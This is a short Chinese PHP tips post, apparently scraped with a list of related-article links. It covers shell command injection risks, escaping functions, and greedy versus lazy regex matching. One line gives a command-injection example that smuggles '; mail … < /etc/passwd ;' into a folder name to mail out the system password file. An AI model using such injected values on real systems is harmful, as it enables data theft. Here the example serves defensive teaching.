贪婪模式与惰性模式
来源:互联网 发布:广本悟己 淘宝 编辑:程序博客网 时间:2024/05/17 08:29
1.了解下exec(),system(),backtick等系统函数的风险。
例如:项目允许用户创建一个属于自己的文件夹,如果用户输入这个命令,系统将会出现大风险。 ; mail example@email.com < /etc/passwd ; 。 我们的代码就会这样执行:$ mkdir ; mail example@email.com < /etc/passwd ;
2.保护系统调用的命令:escapeshellcmd() 和 escapeshellarg()
3.贪婪匹配与惰性匹配
由于+,*,以及{}都属于贪婪模式修饰符,它们会尽可能多的匹配。例如:$a = "<abc>def>";
$pattern = "/<.+>/"; 如果不调整为惰性匹配,则会匹配到abc>def . 如果我们将$pattern修改为惰性匹配及:$pattern = "/<.+?>/" ; 则只会匹配到abc。
转换为惰性匹配只要贪婪模式修饰符后面加上?即可。
- 贪婪模式与惰性模式
- JavaScript正则表达式贪婪模式与惰性模式
- 【JavaScript】正则表达式-惰性和贪婪模式
- JS正则表达式:量词的贪婪模式与惰性模式的区别
- 贪婪与非贪婪模式
- 贪婪与非贪婪模式
- 贪婪模式与非贪婪模式讲解
- 正则之贪婪与非贪婪模式
- 正则关于贪婪与非贪婪模式
- 正则之贪婪与非贪婪模式
- 正则的贪婪与非贪婪模式
- 正则表达式贪婪与非贪婪模式
- python 贪婪与非贪婪模式
- 正则表达式贪婪与非贪婪模式
- 正则表达式贪婪与非贪婪模式
- 正则表达式贪婪与非贪婪模式
- 正则表达式贪婪与非贪婪模式
- 正则表达式贪婪与非贪婪模式
- Ubuntu安装LNMP架构FastCgi配合
- nginx出现403 Forbidden解决方法
- JS学习记录(一)
- kindeditor4.x整合SyntaxHighlighter代码高亮
- PHP面向对象中的聚合和组合
- 贪婪模式与惰性模式
- 突然想玩玩ucgui
- Jquery快速制作双色表格
- 在 Sublime Text 2 中编译和运行 Java 程序
- mongodb确定唯一索引——备忘
- Apache上全部JAVA开源项目简介
- Windows环境下MySQL出现Error 2003的解决办法
- VC++中进程间相互通信的十一种方法
- 你能过关吗?J2EE面试题集锦(附答案)